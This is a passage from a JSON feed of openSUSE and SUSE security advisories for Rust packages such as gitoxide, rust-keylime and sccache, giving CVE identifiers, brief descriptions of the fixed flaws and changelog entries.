chore(config): revamp the configuration files\n  * chore(docker): update versions in Dockerfile\n  * chore(example): use full links in GitHub templates\n  * chore(project): bump MSRV to 1.74.1\n  * revert(config): use postprocessors for checking the typos\n  * feat(template): support using PR labels in the GitHub template\n  * docs(configuration): fix typo\n  * feat(args): add `--no-exec` flag for skipping command execution\n  * chore(command): explicitly set the directory of command to current dir\n  * refactor(ci): use hardcoded workspace members for cargo-msrv command\n  * refactor(ci): simplify cargo-msrv installation\n  * refactor(clippy): apply clippy suggestions\n  * refactor(config): use postprocessors for checking the typos\n  * chore(project): update copyright years\n  * chore(github): update templates about GitHub integration\n  * feat(changelog): set the timestamp of the previous release\n  * feat(template): support using PR title in the GitHub template\n  * feat(changelog): improve skipping via `.cliffignore` and `--skip-commit`\n  * chore(changelog): disable the default behavior of next-version\n  * fix(git): sort commits in topological order\n  * test(changelog): use the correct version for missing tags\n  * chore(changelog): use 0.1.0 as default next release if no tag is found\n  * feat(github)!: support integration with GitHub repos\n  * refactor(changelog): support `--bump` for processed releases\n  * fix(cli): fix broken pipe when stdout is interrupted\n  * test(fixtures): update the bumped value output to add prefix\n  * feat(changelog): support tag prefixes with `--bump`\n  * feat(changelog)!: set tag to `0.0.1` via `--bump` if no tags exist\n  * fix(commit): trim the trailing newline from message\n  * docs(readme): use the raw link for the animation\n  * chore(example): remove limited commits example\n  * feat(args): add `-x` short argument for `--context`\n  * revert(deps): bump actions/upload-pages-artifact from 2 to 3\n  * revert(deps): bump actions/deploy-pages from 3 to 4\n  * chore(dependabot): group the dependency updates for creating less PRs\n  * feat(parser): support using SHA1 of the commit\n  * feat(commit): add merge_commit flag to the context\n  * chore(mergify): don't update PRs for the main branch\n  * fix(links): skip checking the GitHub commit URLs\n  * fix(changelog): fix previous version links\n  * feat(parser): support using regex scope values\n  * test(fixture): update the date for example test fixture\n  * docs(fixtures): add instructions for adding new fixtures\n  * feat(args): support initialization with built-in templates\n  * feat(changelog)!: support templating in the footer\n  * feat(args): allow returning the bumped version\n  * test(fixture): add test fixture for bumping version\n  * fix: allow version bump with a single previous release\n  * fix(changelog): set the correct previous tag when a custom tag is given\n  * feat(args): set `CHANGELOG.md` as default missing value for output option\n  * refactor(config): remove unnecessary newline from configs\n\n- Update to version 1.4.0:\n  * Support bumping the semantic version via `--bump`\n  * Add 'typos' check\n  * Log the output of failed external commands -\n  * breaking change: Support regex in 'tag_pattern' configuration\n  * Add field and value matchers to the commit parser\n\n- Update to version 1.2.0:\n  * Update clap and clap extras to v4 \n  * Make the fields of Signature public\n  * Add a custom configuration file for the repository\n  * Support placing configuration inside pyproject.toml \n  * Generate SBOM/provenance for the Docker image\n  * Support using regex group values \n  * [breaking] Nested environment config overrides \n  * Set max of limit_commits to the number of commits \n  * Set the node cache dependency path\n  * Use the correct argument in release script\n\n- Update to version 1.1.2:\n  * Do not skip all tags when skip_tags is empty (#136)\n  * Allow saving context to a file (#138)\n  * Derive the tag order from commits instead of timestamp (#139)\n  * Use timestamp for deriving the tag order (#139)\n\n- Update to version 1.1.1:\n  * Relevant change: Update README.md about the NPM package\n  * Fix type casting in base NPM package\n  * Rename the package on Windows\n  * Disable liquid parsing in README.md by using raw blocks\n  * Support for generating changelog for multiple git repositories\n  * Publish binaries for more platforms/architectures\n\n- Update to version 1.0.0:\n  * Bug Fixes\n    - Fix test fixture failures\n  * Documentation\n    - Fix GitHub badges in README.md\n  * Features\n    - [breaking] Replace --date-order by --topo-order\n    - Allow running with --prepend and --output\n    - [breaking] Use current time for --tag argument\n    - Include completions and mangen in binary releases\n    - Publish Debian package via release workflow\n  * Miscellaneous Tasks\n    - Run all test fixtures\n    - Remove deprecated set-output usage\n    - Update actions/checkout to v3\n    - Comment out custom commit preprocessor\n  * Refactor\n    - Apply clippy suggestions\n  * Styling\n    - Update README.md about the styling of footer field\n","status":"published","published":"2024-05-18T12:51:03Z","modified":"2026-02-04T02:38:13.64484Z","updated_at":"2026-11-02T16:58:33.135986Z"},{"id":"openSUSE-SU-2024:13893-1","title":"shadowsocks-rust-1.18.3-1.1 on GA media","description":"These are all security issues fixed in the shadowsocks-rust-1.18.3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2025-05-07T18:16:02.738178Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13903-1","title":"teleport-15.2.4-1.1 on GA media","description":"These are all security issues fixed in the teleport-15.2.4-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:52:22.710059Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13904-1","title":"topgrade-14.0.1-2.1 on GA media","description":"These are all security issues fixed in the topgrade-14.0.1-2.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:59:47.536794Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13912-1","title":"kubetui-1.5.1-1.1 on GA media","description":"These are all security issues fixed in the kubetui-1.5.1-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T04:20:22.083842Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13917-1","title":"tlrc-1.9.2+0-1.1 on GA media","description":"These are all security issues fixed in the tlrc-1.9.2+0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:42:56.946836Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13923-1","title":"keylime-ima-policy-0.2.5~0-1.1 on GA media","description":"These are all security issues fixed in the keylime-ima-policy-0.2.5~0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T03:45:37.214636Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13961-1","title":"sccache-0.8.0~3-1.1 on GA media","description":"These are all security issues fixed in the sccache-0.8.0~3-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T04:25:22.089145Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:13969-1","title":"git-cliff-2.2.2-1.1 on GA media","description":"These are all security issues fixed in the git-cliff-2.2.2-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-06-15T00:00:00Z","modified":"2026-02-04T02:21:29.079808Z","updated_at":"2026-11-02T16:58:36.662953Z"},{"id":"openSUSE-SU-2024:14424-1","title":"gitoxide-0.38.0-1.1 on GA media","description":"These are all security issues fixed in the gitoxide-0.38.0-1.1 package on the GA media of openSUSE Tumbleweed.","status":"published","published":"2024-10-23T00:00:00Z","modified":"2026-02-04T03:19:25.705635Z","updated_at":"2026-11-02T16:58:36.976155Z"},{"id":"openSUSE-SU-2026:21558-1","title":"Security update for gitoxide","description":"This update for gitoxide fixes the following issues:\n\nChanges in gitoxide:\n\n- Update to 0.56.0:\n  * Fixes CVE-2026-40034 (boo#1266434): the CommandForbiddenInModules\n    trust check could be bypassed in gix_submodule::File::update(),\n    which allowed arbitrary command execution from a crafted\n    .gitmodules file\n  * Fixes a submodule name validation bypass that allowed traversal\n    out of .git/modules and disclosure of credentials\n  * Fixes symlinked .gitmodules files being followed and parsed from\n    outside the repository\n  * Fixes several denial-of-service vectors in gix-pack: unchecked\n    indexing panics and uncapped allocations from crafted pack data\n  * Fixes HTTP credentials being leaked to the redirected host by the\n    curl transport backend\n  * Add the gix config show, gix config list, gix config fmt,\n    gix free remote refs, gix free trust, gix dirwalk and gix tix\n    subcommands\n  * Add a gix status --untracked flag and gix merge tree --message\n    for creating commits\n  * gix exclude query is now index-aware and no longer reports ignore\n    matches for tracked files, matching git check-ignore\n  * Preserve all configured remote URLs rather than only the last one\n  * Fix fetching and cloning with tag refspecs in shallow clones,\n    relative worktree linking files and loose ref path-prefix\n    collisions\n  * Update the crates to the Rust 2024 edition\n- Refresh the vendored dependencies. Recording the state of the\n  remaining open CVE bugs against this version, none of which it is\n  affected by:\n  * CVE-2026-25541 (boo#1274525): the vendored bytes is now 1.12.1,\n    above the 1.11.1 fix\n  * CVE-2025-22620 (boo#1236139): gix-worktree-state is 0.33.0, far\n    above the 0.17.0 that fixed the world-writable checkout of\n    executable files\n\n- update to 0.50.0:\n  see https://github.com/GitoxideLabs/gitoxide/compare/v0.42.0...v0.50.0\n\n- update to 0.42.0:\n  * add first 'debug' version of gix diff file\n  * use revspecs for revision and path\n  * CVE-2025-31130: use collision-detecting SHA-1 hash boo#1240872\n\n- Update to version 0.41.0:\n  * add gix blame -L start,end\n  * add gix env to print paths relevant to the Git installation.\n  * Document the remaining subcommands\n  * Add support for statistics and additional performance\n    information.\n  * add gix blame to the CLI. That way it's possible to see the\n    blame result of any file in the repository.\n\n- Updates from version 0.40.0:\n  * add first 'debug' version of gix log. It's primarily meant to\n    better understand gix blame.\n  * add --tree-favor to gix merge tree|commit. With it one can\n    decide which side to favor in case of irreconcilable\n    tree-conflicts.\n  * CVE-2025-22620: gix-worktree-state specifies 0777 permissions\n    when checking out executable files (boo#1236139)\n\n- Update to version 0.39.0:\n  New Features\n  * add gix merge commit --debug\n  * add gix merge commits\n  * add gix merge tree to merge trees similarly to git merge-tree.\n\n- Update to version 0.38.0:\n  New Features\n  * support for listing worktrees with gix worktree list\n  * add first 'debug' version of gix diff tree.\n  * add new gix cat command.\n  * add gix merge-file with similar features as git merge-file\n  * gix merge-base for the CLI\n  Bug Fixes\n  * Adjust gix clean warning and help for worktree fix\n  * Clarify -r/--repositories and --skip-hidden-repositories\n  Other\n  * switch from time to jiff\n  * Unify style in config support info\n","status":"published","published":"2026-08-10T13:10:07Z","modified":"2026-08-12T18:23:42.677607455Z","updated_at":"2026-11-02T16:58:41.885092Z"},{"id":"SUSE-SU-2025:02809-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issues:\n\n- Update to version 0.2.7+141:\n  * CVE-2025-58266: shlex: Fixed command injection (bsc#1247193)\n    \n- Update to version 0.2.7+117:\n  * CVE-2023-26964: rust-keylime: hyper,h2: stream stacking when H2 processing HTTP2 RST_STREAM frames (bsc#1210344).\n  * CVE-2024-12224: rust-keylime: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243861).\n  * CVE-2024-32650: rust-keylime: rust-rustls: Infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223234).\n  * CVE-2024-43806: rust-keylime: rustix: rustix::fs::Dir iterator with the linux_raw backend can cause memory explosion (bsc#1229952).\n  * CVE-2025-3416: rust-keylime: openssl: Use-After-Free in Md::fetch and Cipher::fetch in rust-openssl crate (bsc#1242623).\n  * rust-shlex: Multiple issues involving quote API ( RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27, bsc#1230029)\n","status":"published","published":"2025-08-15T12:51:37Z","modified":"2026-03-23T04:49:46.369393Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:02810-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issues:\n\n- Update to version 0.2.7+141:\n  * CVE-2025-58266: shlex: Fixed command injection (bsc#1247193)\n    \n- Update to version 0.2.7+117:\n  * CVE-2023-26964: rust-keylime: hyper,h2: stream stacking when H2 processing HTTP2 RST_STREAM frames (bsc#1210344).\n  * CVE-2024-12224: rust-keylime: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243861).\n  * CVE-2024-32650: rust-keylime: rust-rustls: Infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223234).\n  * CVE-2024-43806: rust-keylime: rustix: rustix::fs::Dir iterator with the linux_raw backend can cause memory explosion (bsc#1229952).\n  * CVE-2025-3416: rust-keylime: openssl: Use-After-Free in Md::fetch and Cipher::fetch in rust-openssl crate (bsc#1242623).\n  * rust-shlex: Multiple issues involving quote API ( RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27, bsc#1230029)\n","status":"published","published":"2025-08-15T12:51:47Z","modified":"2026-03-23T04:46:48.999985Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:02811-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issues:\n\n- Update to version 0.2.7+141:\n  * CVE-2025-58266: shlex: Fixed command injection (bsc#1247193)\n    \n- Update to version 0.2.7+117:\n  * CVE-2023-26964: rust-keylime: hyper,h2: stream stacking when H2 processing HTTP2 RST_STREAM frames (bsc#1210344).\n  * CVE-2024-12224: rust-keylime: idna: idna accepts Punycode labels that do not produce any non-ASCII when decoded (bsc#1243861).\n  * CVE-2024-32650: rust-keylime: rust-rustls: Infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223234).\n  * CVE-2024-43806: rust-keylime: rustix: rustix::fs::Dir iterator with the linux_raw backend can cause memory explosion (bsc#1229952).\n  * CVE-2025-3416: rust-keylime: openssl: Use-After-Free in Md::fetch and Cipher::fetch in rust-openssl crate (bsc#1242623).\n  * rust-shlex: Multiple issues involving quote API ( RUSTSEC-2024-0006, GHSA-r7qv-8r2h-pg27, bsc#1230029)\n","status":"published","published":"2025-08-15T12:51:54Z","modified":"2026-03-23T04:46:49.764211Z","updated_at":"2026-11-02T15:53:57.111474Z"},{"id":"SUSE-SU-2025:03629-1","title":"Security update for gstreamer-plugins-rs","description":"This update for gstreamer-plugins-rs fixes the following issues:\n\nUpdate to version 0.12.11 (jsc#PED-13826):\n\n- CVE-2024-32650: Fixed infinite loop in rustls::conn::ConnectionCommon:complete_io() with proper client input (bsc#1223219).\n","status":"published","published":"2025-10-17T11:38:49Z","modified":"2026-02-04T04:18:19.216423Z","updated_at":"2026-11-02T15:53:58.883365Z"},{"id":"SUSE-SU-2025:20057-1","title":"Security update for rust-keylime","description":"This update for rust-keylime fixes the following issues:\n\n- Update vendored crates (CVE-2024-43806, bsc#1229952, bsc#1230029)\n  * rustix 0.37.25\n  * rustix 0.38.34\n  * shlex  1.3.0\n\n- Update to version 0.2.6+13:\n  * Enable test functional/iak-idevid-persisted-and-protected\n  * build(deps): bump uuid from 1.7.0 to 1.10.0\n  * build(deps): bump openssl from 0.10.64 to 0.10.66\n  * keylime-agent/src/revocation: Fix comment indentation\n  * keylime/crypto: Fix indentation of documentation comment\n  * build(deps): bump thiserror from 1.0.59 to 1.0.63\n  * build(deps): bump serde_json from 1.0.116 to 1.0.120\n  * dependabot: Extend to also monitor workflow actions\n  * ci: Disable Packit CI on CentOS Stream 9\n  * ci: use CODECOV_TOKEN when submitting coverage data\n  * revocation: Use into() for unfallible transformation\n  * secure_mount: Fix possible infinite loop\n  * error: Rename enum variants to avoid clippy warning\n\n- Update to version 0.2.6~0:\n  * Bump version to 0.2.6\n  * build(deps): bump libc from 0.2.153 to 0.2.155\n  * build(deps): bump serde from 1.0.196 to 1.0.203\n  * rpm/fedora: Update rust macro usage\n  * config: Support hostnames in registrar_ip option\n  * added use of persisted IAK and IDevID and authorisation values\n  * config changes\n  * Adding /agent/info API to agent\n  * Fix leftover 'unnecessary qualification' warnings on tests\n\n- Update to version 0.2.5~4:\n  * Fix 'unnecessary qualification' warnings\n  * fix IAK template to match IDevID\n  * rpm: fix COPR RPMs build for centos-stream-10\n  * Build COPR RPMs for centos-stream-10\n\n- Update to version 0.2.5~0:\n  * Bump version to 0.2.5\n  * cargo: Relax required version for pest crate\n  * build(deps): bump log from 0.4.20 to 0.4.21\n  * build(deps): bump thiserror from 1.0.56 to 1.0.59\n\n- actix-web update moves rustls as feature (bsc#1223234, CVE-2024-32650)\n\n- Update to version 0.2.4~39:\n  * build(deps): bump openssl from 0.10.63 to 0.10.64\n  * build(deps): bump h2 from 0.3.24 to 0.3.26\n  * build(deps): bump serde_json from 1.0.107 to 1.0.116\n  * build(deps): bump actix-web from 4.4.1 to 4.5.1\n  * crypto: Enable TLS 1.3\n  * build(deps): bump tempfile from 3.9.0 to 3.10.1\n  * build(deps): bump mio from 0.8.4 to 0.8.11\n  * enable hex values to be used for tpm_ownerpassword\n  * config: Support IPv6 with or without brackets\n  * keylime: Implement a simple IP parser to remove brackets\n  * crypto: Implement CertificateBuilder to generate certificates\n  * tests: Fix coverage download by supporting arbitrary URL\n  * cargo: Add testing feature to keylime library\n  * Set X509 SAN with local DNSname/IP/IPv6\n  * Include newest Node20 versions for Github actions\n  * tpm: Add unit test for uncovered public functions\n  * crypto: Implement ECC key generation support\n  * crypto: Add test for match_cert_to_template()\n  * Fix minor typo, format and remove end whitespaces\n  * crypto: Make error types less specific\n  * tests/run.sh: Run tarpaulin with a single thread\n  * payloads: Remove explicit drop of channel transmitter\n  * crypto: Move to keylime library\n  * crypto: Add specific type for every possible error\n  * tpm: Rename origin of error as source in structures\n  * list_parser: Add source for error for backtrace\n  * algorithms: Make errors more specific\n  * typo fix for default path to measured boot log file\n  * README: remove mentions of libarchive as a dependency\n  * Dockerfile.wolfi: Update clang to version 17\n  * docker: Remove libarchive as a dependency\n  * rpm: Remove libarchive from dependencies\n  * cargo: Replace compress-tools with zip crate\n  * cargo: Bump ahash to version 0.8.7\n  * build(deps): bump serde from 1.0.195 to 1.0.196\n  * build(deps): bump libc from 0.2.152 to 0.2.153\n  * build(deps): bump reqwest from 0.11.23 to 0.11.24\n  * docker: Install configuration file in the correct path\n  * config: Make IAK/IDevID disabled by default\n\n- Update to version 0.2.4+git.1706692574.a744517:\n  * Bump version to 0.2.4\n  * build(deps): bump uuid from 1.4.1 to 1.7.0\n  * keylime-agent.conf: Allow setting event logs paths\n  * Mutable log paths: allow IMA and MBA log paths to be overridden by keylime configuration.\n  * workflows: Update checkout action to version 4\n  * build(deps): bump serde from 1.0.188 to 1.0.195\n  * build(deps): bump pest_derive from 2.7.0 to 2.7.6\n  * build(deps): bump openssl from 0.10.62 to 0.10.63\n  * build(deps): bump config from 0.13.3 to 0.13.4\n  * build(deps): bump base64 from 0.21.4 to 0.21.7\n  * build(deps): bump tempfile from 3.8.0 to 3.9.0\n  * build(deps): bump pest from 2.7.0 to 2.7.6\n  * build(deps): bump actix-web from 4.4.0 to 4.4.1\n  * build(deps): bump reqwest from 0.11.22 to 0.11.23\n  * build(deps): bump h2 from 0.3.17 to 0.3.24\n  * build(deps): bump shlex from 1.1.0 to 1.3.0\n  * cargo: Bump tss-esapi to version 7.4.0\n  * workflows: Fix keylime-bot token usage\n  * tpm: Add error context for every possible error\n  * tpm: Add AlgorithmError to TpmError\n  * detect idevid template from certificates\n  * build(deps): bump wiremock from 0.5.18 to 0.5.22\n  * build(deps): bump thiserror from 1.0.48 to 1.0.56\n  * Make use of workspace dependencies\n  * build(deps): bump openssl from 0.10.57 to 0.10.62\n  * packit: Bump Fedora version used for code coverage\n\n- Update to version 0.2.3+git.1701075380.a5dc985:\n  * build(deps): bump actix-rt from 2.8.0 to 2.9.0\n  * Bump version to 0.2.3\n  * build(deps): bump reqwest from 0.11.20 to 0.11.22\n  * Bump configuration version and fix enable_iak_idevid\n  * Enable test functional/iak-idevid-register-with-certificates\n  * Update packit plan with new tests\n  * Add certificates and certificate checking for IDevID and IAK keys (#669)\n\n- Update to version 0.2.2+git.1697658634.9c7c6fa:\n  * build(deps): bump rustix from 0.37.11 to 0.37.25\n  * build(deps): bump tempfile from 3.6.0 to 3.8.0\n  * build(deps): bump base64 from 0.21.0 to 0.21.4\n  * build(deps): bump serde_json from 1.0.96 to 1.0.107\n  * build(deps): bump openssl from 0.10.55 to 0.10.57\n  * cargo: Bump serde to version 1.0.188\n  * tests: Fix tarpaulin issues with dropped -v option\n  * build(deps): bump signal-hook from 0.3.15 to 0.3.17\n  * build(deps): bump actix-web from 4.3.1 to 4.4.0\n  * build(deps): bump thiserror from 1.0.40 to 1.0.48\n  * Remove private_in_public\n  * Initial PR to add support for IDevID and IAK\n  * build(deps): bump uuid from 1.3.1 to 1.4.1\n  * build(deps): bump log from 0.4.17 to 0.4.20\n  * build(deps): bump reqwest from 0.11.16 to 0.11.20\n  * Do not use too specific version on cargo audit workflow\n  * Add workflow to run cargo-audit security audit\n  * README: update dependencies for Debian and Ubuntu\n  * Use latest versions of checkout/upload-artifacts\n  * docker: Add 'keylime' system user\n  * Use \"currently\" for swtpm emulator warning (#632)\n  * Update container workflow actions versions\n  * Build container image and push to quay.io\n  * README: update requirements\n\n- Update to version 0.2.2+git.1689256829.3d2b627:\n  * Bump version to 0.2.2\n  * build(deps): bump tempfile from 3.5.0 to 3.6.0\n  * removing SIGINT stop signals from Dockerfiles and systemd service, as well as adding SIGTERM to IMA emulator as shutdown signal\n\n- Update to version 0.2.1+git.1689167094.67ce0cf:\n  * cargo: Bump serde to version 1.0.166\n  * build(deps): bump libc from 0.2.142 to 0.2.147\n  * adding release Dockerfiles in 3 flavours: fedora, distroless and wolfi\n  * hash: add more configurable hash algorithm for public key digest\n  * cargo: Update clap to version 4.3.11\n  * cargo: Bump tokio crate version to 1.28.2\n  * Add an example of IMA policy\n  * main: Gracefully shutdown on SIGTERM or SIGINT\n  * cargo: Bump proc-macro2 crate version\n  * revocation: Parse revocation actions flexibly\n  * crypto: Add unit tests for x509 functions\n  * crypto: Make internal functions private\n  * config: Add unit test for the list to files mapping\n  * config: Make trusted_client_ca to accept lists\n  * lib: Implement parser for lists from config file\n  * build(deps): bump openssl from 0.10.48 to 0.10.55\n  * Add secure mount sanity test to packit testing.\n  * [packit] Do not let COPR project expire\n\n- Recommends the IMA Policy subpackage only if SELinux is configured\n\n- Update to version 0.2.1+git.1685699835.3c9d17c:\n  * Remove MOUNT_SECURE bool\n  * rpm: Remove unused directory and add dependency for mount\n  * keylime-agent/src: update API version to 2.1 to consistent with https://github.com/keylime/keylime/blob/master/docs/rest_apis.rst\n  * docker/fedora/keylime_rust.Dockerfile: add the logic of cloning and compiling rust-keylime\n  * [tests] Update test coverage task name regexp\n  * [tests] Simply coverage file URL parsing\n\n","status":"published","published":"2025-02-03T08:57:24Z","modified":"2026-03-23T04:48:08.694691Z","updated_at":"2026-11-02T15:53:59.381172Z"},{"id":"SUSE-SU-2026:3022-1","title":"Security update for sccache","description":"This update for sccache fixes the following issues:\n\nUpdate to version 0.15.0~17.\n\n- CVE-2023-26964: hyper,h2: high resource consumption due to stream stacking when H2 component processes\n  `HTTP2 RST_STREAM` frames (bsc#1210346).\n- CVE-2024-32650: rust-rustls: infinite loop in `rustls::conn::ConnectionCommon:complete_io()` when processing client\n  input network input (bsc#1223238).\n- CVE-2025-3416: openssl: use-after-free in `Md::fetch` and `Cipher::fetch` (bsc#1242611).\n- CVE-2026-25727: time: stack exhaustion in the RFC 2822 date parser when processing certain user provided input\n  (bsc#1257923).\n- CVE-2026-41676: openssl: short buffer overflow via `Deriver:derive` and `PkeyCtxRef:derive` when using OpenSSL 1.1.1\n  (bsc#1270206).\n- CVE-2026-41677: openssl: out-of-bounds read in PEM password callback when returning an oversized length\n  (bsc#1270559).\n- CVE-2026-41678: openssl: OOB write due to incorrect bounds assertion in `aes::unwrap_key()` (bsc#1270693).\n- CVE-2026-41681: openssl: stack corruption due to `MdCtxRef::digest_final()` writing past caller buffer with no length\n  check (bsc#1270736).\n- CVE-2026-41898: openssl: information leak to network peers due to unchecked callback-returned length in PSK and\n  cookie generate trampolines (bsc#1270869).\n- CVE-2026-42327: openssl: undefined behavior in `X509Ref::ocsp_responders` when processing certificates with non-UTF-8\n  OCSP URLs (bsc#1270512).\n- CVE-2026-44662: openssl: heap buffer overflow when encrypting with AES key-wrap-with-padding (bsc#1270938).\n- CVE-2026-45784: openssl: out-of-bounds write in `CipherCtxRef::cipher_update_inplace` for AES-KW-PAD ciphers\n  (bsc#1270948).\n","status":"published","published":"2026-07-15T09:48:47Z","modified":"2026-07-16T10:00:06.462054885Z","updated_at":"2026-11-02T15:54:04.987808Z"}]}}